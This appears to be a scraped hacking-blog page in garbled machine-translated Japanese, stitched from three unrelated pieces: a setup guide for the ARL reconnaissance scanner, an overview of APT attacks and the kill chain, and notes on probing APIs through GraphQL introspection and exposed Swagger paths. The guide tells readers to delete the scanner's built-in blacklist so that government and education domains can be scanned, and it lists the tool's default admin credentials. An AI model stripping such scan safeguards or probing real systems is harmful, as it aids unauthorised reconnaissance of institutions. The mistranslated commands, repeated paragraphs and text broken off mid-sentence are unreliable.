Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863113802

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

プルアイテム

最初にGitHubからサーバーにクローンを作成します。

git clone https://github.com/ki9mu/arl-plus-cocker/file

構成ファイルを変更

ARLには構成ファイルにブラックリストがあるため、プロジェクトがGOVまたはEDUなどがスキャンできない場合があるため、ここで構成ファイルを変更すると制限を引き上げることができます。

CD arl-plus-docker/

vi config-docker.yamlここでブラックリストのいくつかのアイテムを削除するだけです

file

変更後:

file

RiskIQおよびFOFA APIを追加および変更します

1049983-20221208103845056-23542144.png

OneForAllモジュールは拡張バージョンに追加されるため、クローンのデフォルトコードがフレーズであるため、構成ファイルで開く必要があります。ここではTTUEでオンにするスイッチを交換できます。

VI OneForall-Config/Setting.py file

変更後:

file

構成ファイルに変更したら、Dockerを開始します。最初にボリュームを追加し、次にDocker -Compose Up -Dを直接開始できます。画像を引くときに非常に遅い場合は、Dockerソースを変更できます。

DockerボリュームCREATE -NAME=ARL_DB

Docker-Compose Up -D file

完了の行が表示されると、成功していることを意味します。この時点では、Pythonスクリプトにブラックリストもあるため、Pythonコードを変更するためにコンテナを入力する必要があります。最初にDocker PSを使用してコンテナIDを確認し、このコンテナを変更して編集するためにVIを使用します。

Docker PS #ViewコンテナID

docker exec -it対応するID bash

変更前のvi app/config.py:

file

file

指紋を追加

インストールが成功した後、指紋を追加して灯台に強い指紋を与えます。

住所:https://VPS:5003/!

デフォルトアカウントの秘密:admin \ arlpass

git clone https://github.com/loecho-sec/arl-finger-add

CD arl-finger-add

python arl-finger-add.py -o https://vps:5003/admin arlpasscopy file

インストールに正常に

デフォルトのパスワードでログインし、右上隅のデフォルトのパスワードを変更して、喜んで使用します。

0x00 apt

の歴史的な起源の背景

APTという言葉は次のとおりです。2005年に、英国と米国の証明書組織は、ターゲットを絞ったソーシャルエンジニアリングメールについて最初の警告を発し、「APT」という名前は使用されていませんでしたが、トロイの木馬を機密情報を漏らして放棄しました。しかし、「高度な永続的な脅威」という用語は広く引用されており、2006年の米国空軍のグレッグ・ラトレイ大佐は、この用語を生み出した個人としてしばしば引用されました。その後、StuxNet事件は、イランの核計画を標的にするハッカー攻撃であり、これはAPT攻撃の例です。コンピューターのセキュリティの分野および成長するメディアでは、APTという用語は、ほとんどの場合、政府、企業、政治活動家に対するハッキング攻撃の進行中の進行中のモデルを指すために使用され、グループが関与するこれらの攻撃の背後に広がっています。用語として、高度な永続的な脅威(APT)は、発生する攻撃の数に転用できます。一般的な誤解は、APTは西側諸国のみを対象としているということです。西洋諸国は、西洋諸国を対象としたより技術的なAPTを促進するかもしれませんが、多くの国の関係者は、個人やグループに関する知性を収集する手段としてサイバースペースのセキュリティを使用しています。米国では、Cyber Commandの使命は、米軍を調整して、進行中の進行中のサイバー脅威、つまり適切な攻撃に対処することです。

同時に、多くの情報筋は、一部の適切な組織が実際に国と国と提携したり、国を代表したりしていると感じています。それ以外の場合、大量の情報とリソースを保持することは困難です。 3種類の機関は、高度で永続的な脅威、つまり高等教育、金融機関、政府機関のリスクが高くなりがちです。

実際、APTには、特定のエンティティの1人または複数の人々(通常は複数の人々)によって計画されていることが多い、あいまいで継続的な攻撃のフレームワークがあります。 APTは通常、商業的または政治的な動機を備えた高価値の目標のために実装されます。 APTは、長期攻撃中に可能な限り高い隠蔽を保証します。 「Advanced」とは、マルウェアを使用してシステムの脆弱性を攻撃する複雑なテクノロジーを意味します。 「継続的な」プロセスは、組織と制御システムに対するAPT攻撃が特定のターゲットからデータを継続的に監視および抽出していることを示しています。 「脅威」プロセスは、攻撃がターゲットの利益に害を及ぼす可能性があることを示しています。

APTグループは、APTグループは、継続的かつ効果的な方法で攻撃を行う能力と意図の両方を持つエンティティであるため、通常、組織、おそらく政府が支援する組織を指します。したがって、APTは通常、サイバーの脅威を参照するために使用されます。特にインターネットを使用してさまざまなインテリジェンスコレクションテクノロジーを使用して機密情報を取得しますが、従来のスパイ活動や攻撃などの他の脅威にも適しています。その他の認識された攻撃ベクターには、感染媒体、サプライチェーン、ソーシャルエンジニアリングが含まれます。これらの攻撃の目的は、1つ以上のコンピューターにカスタムの悪意のあるコードを配置して、特定のタスクを実行し、最も長い間発見されないことです。攻撃者ファイル(ファイル名など)を理解することで、専門家がWeb全体の検索を行い、影響を受けるすべてのシステムを収集することができます。個々のハッカーなどの個人は、特定のターゲットを取得または攻撃するつもりであっても、高度で永続的なリソースを持たないため、通常はAPTとは呼ばれません。

0x01 apt攻撃定義

APT攻撃(高度な永続的な脅威)とは、現在の高度な攻撃方法を使用して、特定の目標に対する長期的および継続的なサイバー攻撃を実行する組織(特に政府)または小グループを指します。 APT攻撃の高度な性質は、正確な情報収集、高度な隠蔽、およびさまざまな複雑なネットワークインフラストラクチャとアプリケーションの脆弱性を使用したターゲットに対する正確な攻撃に反映されています。攻撃者の攻撃形態はより高度で高度であり、サイバースペースの分野で最高レベルのセキュリティ対立と呼ばれます。 APTは、ハッカーがコア情報を盗むために開始されたサイバー攻撃と侵略です。

APT(高度な長期的な脅威)には、高度、長期、および脅威の3つの要素が含まれています。洗練されたマルウェアとテクノロジーを使用するための洗練されたマルウェアとテクノロジーを使用することが、システムの脆弱性を活用することです。長期は、外力が特定のターゲットを継続的に監視し、それらからデータを取得することを意味します。脅威とは、人間の参加によって計画された攻撃を指します。

APT攻撃の原則は、他の攻撃フォームよりも高度で高度です。その進歩は、APTが攻撃を開始する前に攻撃ターゲットのビジネスプロセスとターゲットシステムを正確に収集する必要があるという事実に主に反映されています。この収集プロセス中、この攻撃は、ターゲットの信頼できるシステムとアプリケーションの脆弱性を積極的に調査し、これらの脆弱性を活用して攻撃者が必要とするネットワークを形成し、0日の脆弱性を攻撃に使用します。

0x02 apt攻撃方法

APTの攻撃方法は、それ自体を隠し、特定のオブジェクトをターゲットにするために長期的、計画的、組織化された方法でデータを盗むことです。このタイプの攻撃は、従来のセキュリティ検出システムが効果的に検出して発見できないという問題です。最先端の防御方法は、非営利的な仮想マシン分析テクノロジーを使用して、さまざまな電子メール添付ファイルやファイルの詳細な動的動作分析を実施し、APT攻撃動作を発見および確認するためのシステムの脆弱性などの高度なテクノロジーを使用して特別に構築された悪意のあるファイルを発見することです。 APTの特性により、検出することは困難であり、大きな潜在的な脅威を持っています。攻撃されると、企業、政府、医療機関などからの大量のデータが盗まれ、会社の重要な財政的および機密性が盗まれます。

p3zgjr4dvmq8623.png

0x03 apt攻撃方法

APT組織が使用する一般的な攻撃方法には、スピアフィッシング、水たまり攻撃、パスバイダウンロード攻撃、ソーシャルエンジニアリング、インスタントメッセージングツール、ソーシャルネットワークなどが含まれます。

スピアフィッシングとは、アジアと東ヨーロッパに由来するフィッシング攻撃を指し、特定の目標のみをターゲットにしています。攻撃者がターゲットをロックすると、彼は電子メールを使用して会社または組織の名前を偽造して、実際のものと虚偽を区別するのが難しいファイルを送信し、従業員にアカウントのパスワードにさらにログインするように誘導し、攻撃者が機会を利用してトロイの木馬または他のスパイウェアを設置して機密情報を盗むことができます。または、従業員がしばしば閲覧することが多いWebページに自動ウイルスダウンローダーを置き、感染したシステムのミュータントウイルスを継続的に更新して、ユーザーが対処できないようにします。槍のフィッシングは普通の個人ではなく、特定の会社または組織のメンバーであるため、盗まれた情報はもはや通常のフィッシングによって盗まれた個人情報ではなく、知的財産権や企業秘密など、他の非常に敏感な情報です。

(1)Spear Phishingは、特定の組織を対象としたサイバー詐欺であり、機密データへのアクセスを許可しないことを目的としています。最も一般的な方法は、トロイの木馬を特定のターゲットへの電子メールへの添付ファイルとして送信し、ターゲットを誘導して添付ファイルを開くことです。

(2)ウォーターホリングとは、攻撃ターゲットのネットワークアクティビティルールを分析し、攻撃ターゲットが頻繁に訪問するウェブサイトの弱点を見つけ、最初にウェブサイトを攻撃し、攻撃コードを埋め込み、攻撃ターゲットがウェブサイトにアクセスするときに攻撃を行うのを待つハッカーを指します。散水穴は、特定のグループ(組織、産業、地域など)を対象とするコンピューター侵略方法です。攻撃者は、最初にこのターゲットグループが頻繁に訪問するウェブサイトを推測(または観察)することで決定し、それらの1つ以上にハッキングし、マルウェアをインプラントし、最後にグループのターゲットの一部のメンバーに感染します。この種の攻撃はターゲットグループに信頼されているWebサイトを使用しているため、攻撃の成功率は高く、つまり、Harpoon攻撃や他の形式のフィッシング攻撃から保護する能力を持つグループを対象としています。

次の図は、Harpoon AttackとPuddle Attackを使用したOceanlotusの基本的な方法を示しています。

zpals4ier0q8624.png

(4)ドライブバイダウンロード:スパイウェア、コンピューターウイルス、またはユーザーがそれを知らずにマルウェアをダウンロードします。ユーザーがWebサイトにアクセスしたり、メールを読んだり、欺ceptiveポップアップをクリックしたりすると、ダウンロードの合格が発生する可能性があります。たとえば、ユーザーは、このポップアップがコンピューターがエラーをプロンプトするウィンドウであるか、これが通常のポップアップ広告であると考えるウィンドウであると誤って考えているため、このウィンドウをクリックします。

(5)ソーシャルエンジニアリング:コンピューターサイエンスでは、ソーシャルエンジニアリングとは、他の人との法的コミュニケーション、特定の行動を起こしたり、いくつかの機密情報を開示したりすることで、心理学に影響を与える方法を指します。これは、多くの場合、情報、詐欺師、およびコンピューターシステムへのハッキングを不正に収集する一種の行為と見なされます。英国と米国の慣習法システムでは、この行動は一般にプライバシーの違反と見なされます。ソーシャルエンジニアリングは、対人コミュニケーションを通じて情報を取得する技術的な浸透方法です。残念ながら、この方法は非常に効果的で、アプリケーションが非常に効率的です。ただし、実際、ソーシャルエンジニアリングは企業セキュリティに対する最大の脅威の1つです。

360がリリースした《摩诃草APT组织大揭秘》レポートでは、近年、マハカオはインスタントメッセージングツール(主にTencentのQQチャットツール)とソーシャルネットワーク(Facebook)を使用してペイロードを提供することが発見されました。インスタントメッセージングツールは、主にMP4形式のビデオファイルを偽造するバイナリ実行可能ファイルプログラムを送信します。ソーシャルネットワーク(Facebook)ペイロード配信は、通常、SNSワーム、バイナリ形式の実行可能な悪意のあるプログラムまたはドキュメントタイプの脆弱なファイルの配置に分けられます。

ターゲット企業を決定した後、APT組織は、会社のユーザーの電子メール、携帯電話番号、通信ソフトウェア番号、名前、仕事など、ターゲットのすべての情報の収集を開始します。その後、APT組織はターゲットのフィッシング文書を作成し、それらを配置する準備を開始します。内部スタッフが悪意のあるドキュメントを開くと、コンピューターは関連する脆弱性をトリガーして、APTメンバーの内部ネットワークへの扉を開きます。現時点では、情報を保存するサーバーを探し始め、サーバーを攻撃して必要なものを取得し始め、その後、トロイの木馬を移植してアクセス許可を維持します。

0x04 apt

の機能

目標- 脅威の究極の目標、つまりあなたの対戦相手

時間- 調査と侵略にかかった時間

リソース - 関係する知識とツール(スキルと方法も影響します)

リスク許容度- どの程度まで脅威が検出されないか

スキルと方法- 使用されるツールとテクニック

アクション - 脅威で取られた特定のアクション

攻撃ソース - 攻撃ソースの数

関与の数- 関与する内部または外部システムの数、何人の人が重要であるか

ソース - オンライン情報を収集することで脅威を特定できるかどうか

0x05 apt攻撃実装

APT攻撃は慎重に計画および実行されます。それらは通常、侵略、発見、捕獲、にじみ出る4つの段階に分かれています。各段階では、以下に示すように、さまざまな手法を使用できます。

nttv0rjmh4f8625.png

4cc4j5yrb2u8626.png

cttalwpuvf18627.png

xmzg1n1dbmd8628.png

0x06 apt攻撃のライフサイクル

APTの背後にある首謀者は、組織の金融財産、知的財産、評判に対する継続的な脅威をもたらします。プロセスは次のとおりです。

ターゲットが環境に侵入しようとする特定の組織グループ(フィッシングメールの送信など)をターゲットにし始めます。侵入システムを使用して、ターゲットネットワークにアクセスして、攻撃ターゲットを達成するために使用される関連ツールを展開して、将来のアクセスのためのトレースを非表示にします。

ob3cn3wxdt08629.png

2013年、アメリカのサイバーセキュリティ会社Mandiantは、2004年から2013年の間にAPT攻撃に関する調査の結果を発表しました。ライフサイクルは上記に似ています。

最初の侵略- ソーシャルエンジニアリング、フィッシング攻撃、ゼロデイ攻撃を電子メールで使用します。また、被害者が頻繁に訪れるウェブサイトにマルウェア(馬を接続する)を埋め込む一般的な方法でもあります。

足場を取得します - 被害者のネットワークにリモートアクセスツールを挿入し、ネットワークバックドアを開き、隠されたアクセスを有効にします。

特権の改善- 脆弱性とパスワードのクラッキングを活用して、被害者コンピューターで管理者の特権を取得し、Windowsドメイン管理者の特権を取得しようとする場合があります。

内部探査- 周辺の施設、セキュリティと信頼関係、ドメイン構造に関する情報を収集します。

水平開発- データを収集するために、他のワークステーション、サーバー、施設への制御を拡張します。

真実のまま - 以前に入手したアクセス権と資格情報を確実に制御してください。

タスクの完了- 盗まれたデータは、被害者のネットワークから送信されます。

マディアンが分析した侵入では、攻撃者が被害者のネットワークの制御を保持する平均時間は1年で、最大時間は5年です。

0x07 apt攻撃段階

APT攻撃は、より体系的で、分散され、共同作業になります。通常、情報収集、武器化された展開、ペイロード配信、利用、インストール、コマンドとコントロール、および実行に分かれています

キルチェーンには一般的に6つのステージがあります:ディスカバリーポジショントラッキング攻撃侵略の侵略が完全に、apt攻撃モデルサイバーキルチェーンはそれに対応します

0x08 APT分析モデル

ここでは、2つの分析モデルを借ります。1つはキルチェーン7層モデル、もう1つはダイヤモンドモデルです

1。サイバーキルチェーンとは何ですか?

「キルチェーン」の概念は、軍事分野に由来します。これは、攻撃リンクを記述する6段階のモデルであり、理論的にはそのような攻撃(つまり、アンチキルチェーン)を防ぐために使用できます。キルチェーンには6つのリンクがあります:「ディスカバリーポジションを追跡するターゲットティングストライクを達成する」ステージ。

キルチェーンリンクが早期に攻撃を防ぐほど、保護効果が向上します。たとえば、攻撃者が取得する情報が少ないほど、攻撃を開始するために第三者が使用する可能性が低くなります。

ロッキード・マーティンによって提案されたサイバーキルチェーンはこれに似ており、本質的に標的を絞った段階的攻撃です。同様に、この理論はネットワーク保護に使用できます。特定の段階を次の図に示します。

cmvkqrl4etx8630.png

それは伝統的な盗難プロセスのようなものです。泥棒はまずサイトをチェックしてから、ターゲットビルに忍び込み、盗難計画を段階的に実施し、最終的に盗まれた商品から逃げる必要があります。ネットワークキルチェーンを使用して、攻撃者がネットワーク環境に侵入しないようにするには、ネットワークの乱気流を理解するために十分なインテリジェンスと可視性が必要です。登場しないべきものがある場合、会社はできるだけ早く学ぶ必要があり、このために、会社は攻撃アラートを設定できます。

留意すべきもう1つのポイントは、キルチェーンリンクが早期にブロックされるほど、修理のコストと時間の損失が低くなります。ネットワーク環境に入るまで攻撃がブロックされていない場合、エンタープライズは機器を修理し、漏れた情報を確認する必要があります。

キルチェーンテクノロジーが会社に適しているかどうかを明確にするために、キルチェーンモデルのいくつかの段階を開始して、会社が検証すべき問題を発見することもできます。

それは伝統的な盗難プロセスのようなものです。泥棒はまずサイトをチェックしてから、ターゲットビルに忍び込み、盗難計画を段階的に実施し、最終的に盗まれた商品から逃げる必要があります。ネットワークキルチェーンを使用して、攻撃者がネットワーク環境に侵入しないようにするには、ネットワークの乱気流を理解するために十分なインテリジェンスと可視性が必要です。登場しないべきものがある場合、会社はできるだけ早く学ぶ必要があり、このために、会社は攻撃アラートを設定できます。

留意すべきもう1つのポイントは、キルチェーンリンクが早期にブロックされるほど、修理のコストと時間の損失が低くなります。ネットワーク環境に入るまで攻撃がブロックされていない場合、エンタープライズは機器を修理し、漏れた情報を確認する必要があります。

キルチェーンテクノロジーが会社に適しているかどうかを明確にするために、キルチェーンモデルのいくつかの段階を開始して、会社が検証すべき問題を発見することもできます。

2。サイバーキルチェーン攻撃キルチェーン

セキュリティサークルに隠れている私たちのために、ロッキードマーティンのサイバーキルチェーン(サイバー攻撃ライフサイクルとも呼ばれます)は、侵入を特定して防止するために特別に使用されます。ただし、攻撃モードは変化し続けます。例としてValut7を取ります。それに記載されている攻撃モデルはすべて2008年に使用されましたが、2016年と2017年に暴露されました。攻撃と防御の時差がどれほど深刻かを想像することができます。そのため、キルチェーンが多くのセキュリティ保護をもたらすことを望んでいませんが、焦点は私の視野を広げることにあり、先に計画するのが最善です。現在、Valut8は暴露されており、企業のセキュリティは想像していたよりもはるかに静かではないようです。

Cyber Attack Killチェーンモデルは、マルウェアの各攻撃段階を分割するために使用されます。各段階に識別には対応する機能がありますが、文を使用するには、後で言及します。ブロックするよりも緩んでいる方が良いです。同じ目的地は同じです。特定の状況は何ですか?私は後で自分の理解について話します。それでは、サイバーキルチェーンの各段階について簡単に話しましょう。

3。ネットワーク攻撃の各段階はチェーンを殺します

キルチェーンモデルは、攻撃者の攻撃プロセスを次の7つのステップに分解します。

偵察- 攻撃者は、ターゲットの可能性のある弱点または悪い構成を検出し始めます

兵器化- 攻撃者は、被害者に渡すことができるペイロードの構築を開始します(PDFファイルまたはオフィス文書にすることができます)

配信- 攻撃者は、電子メール、Webリンク、または取り外し可能なメディアでペイロードをターゲットに送信します

エクスプロイト - ペイロードは被害者のネットワークで実行されます

インストール - ペイロードは他のリモートアクセスツールをダウンロードし、それらをインストールして永続的なバックドアを作成します

コマンドとコントロール - 被害者と攻撃者の間にチャネルを作成する

アクション - 予想される目標を実行します(ファイルの暗号化、データの盗みなど)

1。

エコナンスはターゲットを識別し、この段階で情報が収集され、犯罪者はターゲットの品質を決定しようとします。彼らは、エンタープライズのリソースと外部からのネットワーク環境を理解し、攻撃する価値があるかどうかを判断します。理想的には、攻撃者は、ターゲットが防御とデータの価値が弱いことを望んでいます。犯罪者が見つけることができる情報のカテゴリと、この情報の使用方法。

会社の情報価値は、多くの場合、想像力を超えています。従業員の名前と詳細(企業のウェブサイトだけでなく、ソーシャルWebサイト)がWebに保存されていますか?この情報は、ユーザー名またはパスワードを開示するように人々に求めるなど、ソーシャルエンジニアリングの目的で使用できます。エンタープライズのウェブサイトサーバーまたは物理的な場所はネットワークに接続されていますか?これらはソーシャルエンジニアリングでも使用することも、攻撃者が企業環境での脆弱性の検索を絞り込むのにも役立ちます。

このレベルの問題は対処するのが難しく、ソーシャルネットワークの人気はそれを特に困難にします。機密情報を隠すことは改善する安価な方法ですが、これにより情報通話の時間コストが増加します。

攻撃者の防衛特性:攻撃当事者の攻撃計画段階。彼らは自分の目標を理解するために研究を実施して、それが非常に困難になるので、彼ら自身の検出偵察を達成できるようにしますが、擁護者が偵察を発見したとき - その後も - それは攻撃者の意図を明らかにすることができます。一般的に使用される攻撃/防衛方法は、電子メールアドレスを取得し、従業員のソーシャルメディアネットワークを決定し、プレスリリースを収集し、契約報酬を集め、会議参加者のリストを検討し、パブリックネットワークに配置されたサーバーを探索して、ウェブサイトのログアラートと歴史的検索を収集し、ウェブサイト管理者と連携して既存のブラウザーを分析し、既存の検出メカニズムを確立し、特に想像を想像しているため、特に想像を想像しています。

2。

兵器化兵器化の準備これらのフェーズは、選択されたターゲットを攻撃するツールを使用して攻撃者の特定のプロセスであり、それらが収集する情報は悪意のある行動に使用されます。手元にある情報が多いほど、ソーシャルエンジニアリング攻撃はシームレスになります。 LinkedInに関する従業員の情報を通じて、彼らは槍のフィッシングで内部リソースを取得できます。あるいは、リモートアクセストロイの木馬を事前にファイルに埋め込むことができます。これは、受信機を実行するように誘惑する重要な情報に入力される可能性があります。オペレーティングシステムのバージョンやタイプなど、ユーザーやサーバーが実行するソフトウェア情報を知っている場合、エンタープライズネットワークでの浸透とレイアウトへの信頼性が大幅に増加します。

これらの段階での防御のために、企業は標準的なセキュリティの専門家のアドバイスに従うべきです。

エンタープライズのソフトウェアは最新ですか?これは、各端末の各アプリケーションに固有である必要があります。ほとんどの企業には古いデスクトップを使用する小さなコーナーがあり、システムはまだWindows 98を使用しています。このデバイスがネットワークに接続されている場合、攻撃者のドアを開くことに等しいです。

企業は電子メールとWebフィルタリングを使用していますか?電子メールフィルタリングは、攻撃で一般的に使用されるドキュメントタイプを効果的にブロックできます。パスワードで保護されたZIPファイルなど、会社のファイルを何らかの標準で送信する必要がある場合、これにより、ファイルが正しいかどうかをユーザーに知らせることができます。 Webフィルタリングにより、ユーザーは既知の悪いWebサイトまたはドメイン名にアクセスできません。

エンタープライズはUSBデバイスを無効にしますか?セキュリティの観点からは、許可なくファイルを実行することをお勧めします。ユーザーが一時停止し、実行する前に見ているものを考える時間があることを確認するのが最善です。

エンタープライズはエンドポイント保護ソフトウェアの最新機能を使用していますか?エンドポイント保護ソフトウェアは、新しいターゲットを絞った攻撃に対処するように設計されていませんが、既知の疑わしい行動やソフトウェアの脆弱性に基づいて脅威をキャプチャすることがよくあります。

3。

配信:攻撃ターゲットがマルウェアを伝えた後、ペイロードを渡し、攻撃者の防衛機能を開始して実行します。それらはすべて、いくつかの攻撃操作の実行を開始します。これは、防衛が操作をブロックする最初で最も重要な機会です。有効性の重要な尺度は、侵入の試みとツールの提供の重要な部分をブロックすることです。一般的に攻撃/防衛方法は、攻撃者の制御下でペイロードを送信するために一般的に使用されます:Webサーバーを直接ターゲットにし、攻撃者はペイロードをリリースします:悪意のある電子メール、マルウェアのUSBストレージ、ソーシャルメディアの相互作用、「ピットスタイルの」フィッシングWebサイト攻撃分析、およびペイロード配信のメディアを理解する - 上位レベルのインフルストラクチャーの主要なインフラチュアに焦点を当てる攻撃者のペイロード状況に基づいて攻撃者の意図を推測し、「アーセナル」攻撃ペイロードを分析して配達エリアの新しい悪意のあるコードを検出し、相手が行動し始める時間を分析し、電子メールとネットワークログを収集し、証拠を復元します。後で侵入が検出されたとしても、ディフェンダーは、いつ、どのように負荷の配信を開始するかを判断できる必要があります。

4。

攻撃当事者の防衛のターゲットアクセス権の機能を取得するための利用者は、1つの脆弱性を活用してアクセス権を獲得します(実際、複数の脆弱性が使用される場合があります)。 「0day」とは、このステップで使用されている攻撃の脆弱性を指します。ここに展開されている従来の防衛措置は一般に従来の防衛措置であり、同時に、「0day」、「1day」、「nday」、その他の脆弱性の脆弱性に対する柔軟性を高めます。カスタマイズされた防御機能は、一般的に攻撃/防御方法に使用されます。ソフトウェア、ハードウェア、または人間の脆弱性が取得または発見されます。攻撃者は、サーバーベースのセキュリティの脆弱性を悪用し、被害者は脆弱性を引き起こします。悪意のある電子メールをクリックし、ユーザーセキュリティ認識トレーニングと従業員のメールテストへの悪意のあるリンクをクリックします。メールボックスサーバーの保護、セキュリティコーディングに関するWeb開発者のトレーニング、脆弱性と侵入テストの定期的なスキャン、エンドポイント防御測定:管理者の許可を制限し、Microsoft EMETの使用、カスタムエンドポイントルールブロックシェルコード実行、エンドポイントログイン監査プロセス、および攻撃ソースのフォレンジック決定。

5。

ターゲットが要塞を構築するときに:を設置すると、通常、攻撃者は連続バックドアまたはインプラントをインストールします。これはターゲットに長時間アクセスできます。端子防御の検出と「異常」設置アクティビティログ。マルウェア分析中にインストールフェーズの動作を分析すると、攻撃を軽減できます。一般的な攻撃/防衛方法:TrojanバックドアをWebサーバーにインストールし、ターゲットクライアントにバックドアとインプラントをインストールし、ターゲットで継続的に実行されるサービスを作成するか、セルフスタートサービスとプロセスなどを作成します。良い提案:リサイクルなどの一般的なソフトウェアインストールパスに焦点を当て、マルウェアが一般ユーザーからの特権アカウントまたはアクセス許可を必要とするかどうか、ターミナルアクセス監査:例外ファイルの作成を発見するために、すべての抜粋証明書、主に署名を含む実行可能ファイル、マルウェアの編集時間を理解するために、古いマルウェアか新しいマルウェアかどうかを判断します。

5。

コマンドとコントロール(C2):リモートコントロールとインプラントエンタープライズのネットワーク環境に脅威が根付いたら、次のタスクはLao Niaoに電話して指示を待つことです。追加のコンポーネントをダウンロードする場合があり、CCチャネルを介してボットネットマスターに連絡する可能性が高くなります。いずれにせよ、これにはネットワークトラフィックが必要です。つまり、企業は自問する必要があります。ファイアウォールは、ネットワーク通信のための新しいプロジェクトのアラートを設定しますか?

脅威がこれらを実装した場合、それは機械に変更を加え、ITワーカーに多くのエネルギーを消費します。一部の企業または業界では、影響を受ける機械のデータが盗まれたり改ざんされたりした診断が必要です。影響を受けるマシンを掃除またはリセットする必要があります。データがバックアップされている場合、またはマシンに迅速にロードできる標準的なエンタープライズモデルがある場合、修理作業のコストと時間の損失が削減されます。

一部の攻撃は別のパスを取るでしょう

昨年の攻撃状況は完全に証明されました。攻撃者は、ステップをスキップしたり、手順を追加したり、前の手順を繰り返すこともできます。最近最も破壊的なもののいくつか

必要性

フロントエンドの分離は、Webで大きな傾向になりました。 Tomcat+ngnixを介して効果的に分離することができます(中央にnode.jsもある場合があります)。さらに、フロントエンドとバックエンドの分離は、将来の大規模な分散アーキテクチャ、弾性コンピューティングアーキテクチャ、マイクロサービスアーキテクチャ、およびマルチターミナルサービス(ブラウザー、ビーチクルターミナル、Android、IOSなど)の複数のクライアント)の強固な基盤を築きます。 APIは、フロントエンドコミュニケーションの責任を引き受けます。したがって、APIセキュリティを学習する必要があります。

この記事のアイデアは、APIのいくつかの一般的な攻撃表面を要約することです。著者はまだこの領域を学んでいます。間違いがあれば、あなたがそれを修正できることを願っています。

一般的なAPIテクノロジー

graphql

GraphQlは、APIのクエリ言語です

通常、次の特性があります。

(1)データパケットは /graphqlインターフェイス1049983-20230129135917968-89120057.pngに送信されます

(2)多くの新しい文字が含まれています\ n

{'query':' \ n query introspectionquery {\ r \ n __schema {\ r \ n queryType {name} \ r \ n mutationType {name} \ r \ n subscriptionType {name} \ r \ n at {\ r \ n . Fulltype } \ r \ n Directives {\ r \ n name \ r \ n説明\ r \ n locations \ r \ n args {\ r \ n . inputValue \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ rte __type {\ r \ n dind \ r \ n name \ r \ n説明\ r \ n fields(condeprecated: true){\ r \ n name \ r \ n説明\ r \ n arg } \ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ r \ n inputfields {\ r \ n . inputValue \ r \ n} \ r \ nインターフェイス{\ r \ n . tyeRef \ r \ n} \ r \ r \ n numvalues(ainteeprecated3360) {\ r \ n name \ r \ n説明\ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ n possibletypes {\ r \ n . Typeref \ r \ n} \ r \ n} \ r \ r \ r \ r n fartvalue on名前\ r \ n説明\ r \ n Type {. typeref} \ r \ n defaultValue \ r \ n} \ r \ nフラグメントTyperef on __type {\ r \ n decd \ r \ n name \ r \ n oftype {\ r \ n dince Kind \ r \ n name \ r \ n ofType {\ r \ n decny \ r \ n name \ r \ n oftype {\ r \ n dind \ r \ n name \ r \ n oftype {\ r \ n dince \ r \ n name \ r \ r \ r \ r \ r \ r \ r \ r \ r \ N } \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ r \ n} } \ r \ n} \ r \ n} \ r \ n} \ r \ n '、'変数':Null} Webサービスの説明を、クライアントがドキュメント情報またはプロセスコールを含むサービスにアクセスできるサービスアクセスポイントのセットとして定義します。 SOAPプロトコルが使用され、通常はXML形式のデータが送信され、WSDLファイル1049983-20230129135918652-993812695.pngがあります

.netのcommon.asmxファイルもwsdl形式xxx.asmx?wsdl 1049983-20230129135919449-1509316087.pngを持っています

Soapuiを使用して、このタイプのAPIをテストできます

soap-wsdl

ファイルに非常に明白なWADLロゴがあります

1049983-20230129135920363-2085092611.png

SoapuiのREST機能をテストに使用することもできます

1049983-20230129135921297-1009304781.png

wadl

REST APIは以前のものほど明白ではなく、最近最も一般的に使用されているAPIテクノロジーでもあります

RESTは、プロトコルや標準ではなく、建築仕様のセットです。 API開発者は、さまざまな方法でRESTを実装できます。

クライアントがRESTFUL APIを介してリクエストを行うと、リソースステートメントをリクエスターまたは端末に渡します。この情報または式は、JSON(JavaScriptオブジェクト表記)、HTML、XLT、Python、PHP、またはプレーンテキストのいずれかの形式のいずれかでHTTPを介して送信されます。 JSONは、最も一般的に使用されるプログラミング言語です。元の英語名は「JavaScriptオブジェクト表記」を意味しますが、さまざまな言語に適しており、人間と機械の両方で読むことができます。

注意すべきことがいくつかあります。ヘッダーとパラメーターは、リクエストされたメタデータ、承認、統一リソース識別子(URI)、キャッシュ、Cookieなどの重要な識別情報が含まれているため、RESTFUL API HTTP要求のHTTPメソッドでも重要です。リクエストヘッダーと応答ヘッダーがあり、それぞれに独自のHTTP接続情報とステータスコードがあります。

休息

APIのセキュリティテストについては、通常、APIの許可問題、APIエンドポイントのセキュリティ問題、インフラストラクチャに焦点を当てています。

APIエンドポイントのセキュリティ問題をテストするには、できるだけ多くのAPIエンドポイントを取得しようとする必要があります

エンドポイントを取得する方法

Swaggerは、RestfulスタイルのWebサービスを生成、説明、呼び出し、視覚化するための標準化された完全なフレームワークです

一般的な指紋:

#swagger 2

/swagger-ui.html

/API-DOCS

/v2/api-docs

#swagger 3

/swagger-ui/index.html

1049983-20230129135922103-1944238266.png

/API-DOCS

/v2/api-docs

/v3/api-docs

.

API-DOCは、すべてのエンドポイント情報1049983-20230129135922819-1063074218.pngを表示できます

テスト用の2つのツールを次に示します

最初のものはSwagger-Editorです

https://github.com/swagger-api/swagger-editor

ダウンロード後、index.htmlを開くことで使用できます。 URLをインポートまたはリモートロードすることを選択できます。 JSONおよびYAML形式のAPI-DOCをサポートします。

2つ目はapikit3https://github.com/api-security/apikitです

バーププラグイン1049983-20230129135924555-102219345.png

swagger api-docsリーク

すべてのエンドポイント情報を取得します

https://mp.weixin.qq.com/s/gp2jgrlpllsh5xn7vn9bwq

